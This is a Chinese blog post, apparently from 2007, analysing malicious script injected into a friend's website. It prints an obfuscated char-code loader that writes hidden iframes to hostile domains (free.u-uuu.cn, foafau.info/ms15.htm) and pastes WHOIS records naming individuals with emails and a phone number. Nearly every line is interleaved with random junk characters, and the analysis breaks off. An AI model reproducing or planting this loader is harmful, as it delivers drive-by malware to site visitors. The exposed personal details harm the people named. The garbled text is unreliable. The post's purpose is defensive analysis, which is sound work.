首发在我的博客里面，
"|^-Yk\U 2e<u/M21> http://www.areway.cn/?p=175 6> Z)w}x^ np6R\Q!& ;ipT0*Y 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
#W lTE& nSr_sD6" <script>t=’60,105,102,114,97,109,101,
gtwUY$ 32,115,114,99,61,104,116,116,112,58,47,47,
{y%cTuC= 102,114,101,101,46,117,45,117,117,117,46,99,
@d1YN]ede 110,47,101,114,114,111,114,46,104,116,109,
3Jh!YzI8 32,119,105,100,116,104,61,49,48,48,32,104,
l8~s#:v6X 101,105,103,104,116,61,48,62,60,47,105,102,
%E k!3t 114,97,109,101,62′;
Ef]<0Tm]: t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
6 .'j \ bP)( 4+t~ <script>t=’60,105,102,114,97,109,101,32,115,
*Tum(wWZ 114,99,61,104,116,116,112,58,47,47,102,114,
Tv6HPD$[ 101,101,46,117,45,117,117,117,46,99,110,47,
oWb\T
2!m 101,114,114,111,114,46,104,116,109,32,119,
nXT/zfS 105,100,116,104,61,49,48,48,32,104,101,105,
WdZ_^ 103,104,116,61,48,62,60,47,105,102,114,97,
]k# iA9I 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
eD ,'M document.write(t);</script>
.gclE~h. gski :C
<html xmlns=”
M 3 &GO5< http://www.w3.org/1999/xhtml L6 IIk “>
=fcM2O #$ <head>
k4-S:kVo <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
;W?mQUo:P8 <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
( &!RX.i <title>首页 - 爱生活家庭网
Ial"nV0>0 wM1&_%N 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
\&MJ(F>vJ 转换字符串后的大概内容是（谁点击后果自付）：
&Sdf0" <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
3]li3B' )qua0'y]@ 查询玉米u-uuu.cn的详细信息：
X#<+D1P Domain Name: u-uuu.cn
!!+LFe4su ROID: 20070901s10001s64972306-cn
; wa#m1 Domain Status: ok
VD~
%6AjyN Registrant Organization: 王雷
AaLbJYuKd Registrant Name: 王雷
rcAPp Administrative Email:
czlovexs@126.com g% _ 3 Sponsoring Registrar: 北京万网志成科技有限公司
>K!$@ ]2F Name Server:ns.yovole.com
T$"sw7< Name Server:ns1.yovole.com
d<cqY<y VA Registration Date: 2007-09-01 17:54
W
P9PX Expiration Date: 2008-09-01 17:54
hYbaVE 最后PING了一下地址 都没有什么….
O<P(UT" VVw5)O1' 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
Y3JID T^ <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
:!/ (N <script language=”javascript” src=”
U8a5rF> < http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script ] B?NDxU >
v |R#[vtFd 这个玉米应该有可能是木马作者的：
8bdx$,$k foafau.info的详细信息：
Ei4Iv#Oi` Access to INFO WHOIS information is provided to assist persons in
hplx s# determining the contents of a domain name registration record in the
m(w 9s;< Afilias registry database. The data in this record is provided by
+Kp8X 53 Afilias Limited for informational purposes only, and Afilias does not
()W`4p guarantee its accuracy. This service is intended only for query-based
j;J`P H access. You agree that you will use this data only for lawful purposes
GmH`ipi and that, under no circumstances will you use this data to: (a) allow,
5c0$oyl)M enable, or otherwise support the transmission by e-mail, telephone, or
5VSc5*[ facsimile of mass unsolicited, commercial advertising or solicitations
rpUTn!*u/ to entities other than the data recipient’s own existing customers; or
.aQ8I1~ (b) enable high volume, automated, electronic processes that send
.#}A/V.-Y queries or data to the systems of Registry Operator, a Registrar, or
_H"_&m$aDm Afilias except as reasonably necessary to register domain names or
! n<SpW; modify existing registrations. All rights reserved. Afilias reserves
+xS<^;
the right to modify these terms at any time. By submitting this query,
~NTKWRaR you agree to abide by this policy.
Zg9VkL6Z6 Domain ID:D22418703-LRMS
CT/>x3o Domain Name:FOAFAU.INFO
f Rjp(m Created On:20-Nov-2007 16:05:42 UTC
a$3 ] ` Last Updated On:20-Nov-2007 16:05:44 UTC
iXLH[uhO; Expiration Date:20-Nov-2008 16:05:42 UTC
y9U~ 4 Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
T m2+/qO, Status:CLIENT DELETE PROHIBITED
b$sT`+4q Status:CLIENT RENEW PROHIBITED
|j 4p Status:CLIENT TRANSFER PROHIBITED
i3cMRcS; Status:CLIENT UPDATE PROHIBITED
K!8l!F Fl Status:TRANSFER PROHIBITED
pf&U$oR4 Registrant ID:GODA-040110615
\c1>15 Registrant Name:liu hong
bPIo9clq Registrant Organization:
9
^=kt 2[ Registrant Street1:beijing
8Oa+,?<0x Registrant Street2:
@<yY Mo7 Registrant Street3:
.I]EP- Registrant City:beijing
%<|cWYM="z Registrant State/Province:
s_3a#I Registrant Postal Code:100000
7NkMr8[}F Registrant Country:CN
LbuhKL}VN Registrant Phone:+86.860108888777
KB { IWu Registrant Phone Ext.:
Wf~PP; Registrant FAX:
:<v@xOzxx Registrant FAX Ext.:
Y IF|8b\ Registrant Email:bbbshiji@163.com
aTk Mg Admin ID:GODA-240110615
CIVV"p`} Admin Name:liu hong
^iWJqpLe Admin Organization:
g"N&*V2 Admin Street1:beijing
P?@o? Admin Street2:
I#'yy7J Admin Street3:
Dis kGq@T Admin City:beijing
c `/kx Admin State/Province:
!AG oI7W} Admin Postal Code:100000
Q$Rp?o& Admin Country:CN
: o:Z Admin Phone:+86.860108888777
1.5R`vKn] Admin Phone Ext.:
:jJ0 +Q Admin FAX:
iI3,q-LA Admin FAX Ext.:
Z`#XB2, Admin Email:bbbshiji@163.com
<B'PB "R3y Billing ID:GODA-340110615
tYG6Gl Billing Name:liu hong
=
toU?: . Billing Organization:
2J (nJT" Billing Street1:beijing
8 Y_lQfJa Billing Street2:
}@~+%_; Billing Street3:
]TN/n%\ Billing City:beijing
/4}y2JVv) Billing State/Province:
cUO$IR)yL Billing Postal Code:100000
k\RS L Billing Country:CN
EHfB9%O7y Billing Phone:+86.860108888777
R 5\|pC Billing Phone Ext.:
F D5OO;$ Billing FAX:
eh8lPTKil Billing FAX Ext.:
Lj/ Billing Email:bbbshiji@163.com
s q@c?!' Tech ID:GODA-140110615
(w vU;u Tech Name:liu hong
Z*IW*f&0>1 Tech Organization:
C=bQ2t=Z Tech Street1:beijing
U;M ! jj Tech Street2:
Gz4LjMQ
& Tech Street3:
7eW6$$ju,N Tech City:beijing
C}ASVywc,1 Tech State/Province:
Qjd]BX; Tech Postal Code:100000
x`I"%pG Tech Country:CN
FD[4?\W]# Tech Phone:+86.860108888777
8U n0<+b Tech Phone Ext.:
-C8LM ls Tech FAX:
3S1{r
)[j Tech FAX Ext.:
t#%J=zF{ Tech Email:bbbshiji@163.com
1kD 1$5 Name Server:NS27.DOMAINCONTROL.COM
pktn X-Slt Name Server:NS28.DOMAINCONTROL.COM
cC]]H&'Hg+ Name Server:
:
@$5M Name Server:
P<;Puww/ Name Server:
EKS?3z%! Name Server:
-J0OtrZ Name Server:
2wa' WEx Name Server:
Io t c>! Name Server:
D&pp
< Name Server:
sXtt$HID= Name Server:
kh8 M= Name Server:
h>p,r\X Name Server:
m}]QP\ MHGaf`7ro 接着下载每个文件里面的代码：
m-#]v}0A 一步一步看..
#V$sb1u 
VV sE]7P ] 
`R!2 N4|; 
FEX67A8 /; 
;9q$eK%d 
/O`R9+ ; 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
